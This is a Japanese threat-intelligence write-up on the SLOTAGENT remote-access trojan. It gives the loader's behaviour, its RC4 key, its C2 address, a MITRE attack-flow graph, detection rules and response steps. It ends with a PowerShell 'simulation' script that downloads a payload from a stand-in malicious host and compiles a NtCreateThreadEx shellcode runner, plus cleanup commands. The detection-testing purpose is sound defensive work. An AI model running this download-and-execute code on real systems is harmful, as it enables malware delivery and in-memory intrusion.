新たなマルウェア SLOTAGENT: BOF実行をサポートする手法公開
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
IIJは、公共リポジトリにアップロードされたZIPアーカイブ内に、以前は知られていなかった多機能型RAT「SLOTAGENT」を特定しました。このマルウェアは、Beacon Object Fileペイロードの実行をサポートしており、分析を妨害するためのタイムスタンプ変更といったアンチフォレンジック機能を含んでいます。専用プロトコルを通じてJSON形式のデータを交換しながらハードコードされたTCPエンドポイントと通信します。ローダーはRC4で暗号化された設定データと、反射的DLLローディングを使用して最終的なペイロードを起動します。
調査
静的解析により、ローダー実行ファイル WindowsOobeAppHost.AOT.exeが、DJB2に基づいたカスタムハッシュルーチンでWindows API関数を解決することがわかりました。暗号化された設定ファイル db.configは、キー easdbadshyfab でRC4暗号化解除され、XORでエンコードされたDLLを含むシェルコードとして実行されます。起動後、RATは 43.156.59.110:699 に接続し、スクリーンショットの取得、ファイルのアップロードとダウンロード、BOFの実行といった機能をサポートするJSONベースのコマンドを処理します。
緩和策
防御者は、ハードコードされたコマンドアンドコントロールIPアドレスを検出し、マルウェアのネットワークトラフィックに関連付けられる特徴的なHTTPライクなパス文字列を探すべきです。レポートに提供されたYARAルールを展開して、ローダーとRATコンポーネントの両方を識別するべきです。セキュリティチームは、疑わしいAPIハッシュ動作やエンドポイントでの反射的DLLローディングを監視するべきです。署名されていないおよび信頼できないEXEまたはDLLファイルの実行は可能な限り制限するべきです。
対応
SLOTAGENTに関連する指標が検出された場合、影響を受けたホストを直ちに隔離し、悪意のあるプロセスを終了し、法医学調査用にメモリを収集します。コマンドアンドコントロールIPアドレスおよび関連ポートはネットワーク境界でブロックされるべきです。その後、知られているファイル名とハッシュをフルスイープして、エンドポイント検出システム全体に公開されたYARA署名を適用します。
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>マルウェア</b> – <b>名前</b>: WindowsOobeAppHost.AOT.exe<br/><b>技術</b>: T1204.002 ユーザー実行”] class malware_exe malware exec_hijack[“<b>技術</b> – <b>T1574 実行フローのハイジャック</b>: エクスポートされた __managed__Main 関数を呼び出す”] class exec_hijack action api_resolve[“<b>技術</b> – <b>T1027.007 難読化/保存されたファイル: ファイルの復号</b>: カスタム XOR/ROR11 ハッシュで API アドレスを解決”] class api_resolve action config_decrypt[“<b>技術</b> – <b>T1027.007</b>: RC4で設定を復号”] class config_decrypt action dll_decrypt[“<b>技術</b> – <b>T1027.007</b>: XORエンコードDLL (agent_tcp.dll) を復号”] class dll_decrypt action reflective_load[“<b>技術</b> – <b>T1620 リフレクティブDLLロード</b>: ディスクに触れずメモリ上にロード”] class reflective_load process process_injection[“<b>技術</b> – <b>T1055.009 プロセスインジェクション</b>: スレッドハイジャックでDLLを注入”] class process_injection process c2_channel[“<b>技術</b> – <b>T1571 非標準ポート</b> and <b>T1573 暗号化チャネル</b>: TCP C2 を確立”] class c2_channel network host_info[“<b>技術</b> – <b>T1592.001 OS情報</b> and <b>T1592.002 ハードウェア情報</b>: JSON送信”] class host_info data proc_discovery[“<b>技術</b> – <b>T1057 プロセス探索</b>: 実行中プロセス列挙”] class proc_discovery data file_discovery[“<b>技術</b> – <b>T1083 ファイル探索</b>: ファイル一覧”] class file_discovery data screenshot_cap[“<b>技術</b> – <b>T1113 スクリーンキャプチャ</b>: 画面取得”] class screenshot_cap data remote_shell[“<b>技術</b> – <b>T1059 コマンドシェル</b>: リモート実行”] class remote_shell process bof_execution[“<b>技術</b> – <b>T1027.009 埋め込みペイロード</b> and <b>T1027.004 配信後コンパイル</b>: BOF実行”] class bof_execution process shared_modules[“<b>技術</b> – <b>T1129 共有モジュール</b>: 追加ロード”] class shared_modules process file_transfer[“<b>技術</b> – <b>T1105 ツール転送</b>: ファイル送受信”] class file_transfer data proc_termination[“<b>技術</b> – <b>T1106 ネイティブAPI</b>: プロセス終了”] class proc_termination process sleep_manip[“<b>技術</b> – <b>T1027.004</b>: スリープ操作”] class sleep_manip action %% Connections unchanged malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip
攻撃フロー
検出
可能性のあるWindowsOobeAppHost.AOT DLLサイドローディングの試み(image_load経由)
ビューモード
検出するためのIOCs(HashSha256):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
検出するためのIOCs(SourceIP):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
検出するためのIOCs(DestinationIP):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
SLOTAGENT C2通信を検出する [Windows ネットワーク接続]
ビューモード
SLOTAGENT マルウェア実行の検出 [Windows プロセス生成]
ビューモード
シミュレーション実行
前提条件:テレメトリ&ベースライン事前フライトチェックが完了していること。
-
攻撃のナラティブ&コマンド:
攻撃者はSLOTAGENTローダーバイナリのコピーを入手し、それを
WindowsOobeAppHost.AOT.exeに名称変更して正規のOOBEプロセスと混ざるようにし、C:WindowsSystem32に配置しました。ペイロードは攻撃者のサーバーで暗号化されたブロブとして保存されています。攻撃者はPowerShellを使用して暗号化されたブロブをダウンロードし、メモリ内で復号化し、NtCreateThreadExを介してローダーの反射ルーチンを発動します。ローダーは内部でNtCreateFileを呼び出して追加のリソースを暗号化されたブロブから読み取り、その後ディスクに触れることなく悪意のあるDLLを実行するための反射ローディングを使用します。この活動により、正確なイメージ名とルールで定義された3つの文字列を含むコールトレースを伴うSysmonプロセス作成イベントが生成されます。 -
回帰テストスクリプト:
# ------------------------------------------------- # SLOTAGENT反射ローディングシミュレーション (Windows) # ------------------------------------------------- # 1. パスを定義 $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. ローダーが存在することを確認 (実際のバイナリの模倣コピー) if (-not (Test-Path $loaderPath)) { Write-Host "模倣ローダーを$loaderPathにコピー中" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. 暗号化されたペイロードをダウンロード (模擬) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. メモリ内ペイロードを復号化 (プレースホルダー – 実際の復号化は省略) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. ネイティブAPI呼び出しを介した反射ローディングを発動 # これはNtCreateThreadExを呼び出す小さなC#ヘルパーを動的コンパイルします $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. 一時ファイルをクリーンアップ Remove-Item $tempPayload -Force -
クリーンアップコマンド:
# 残留するローダープロセスを終了 Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # 模倣ローダーバイナリを削除 $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # 残留一時ファイルを削除 Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue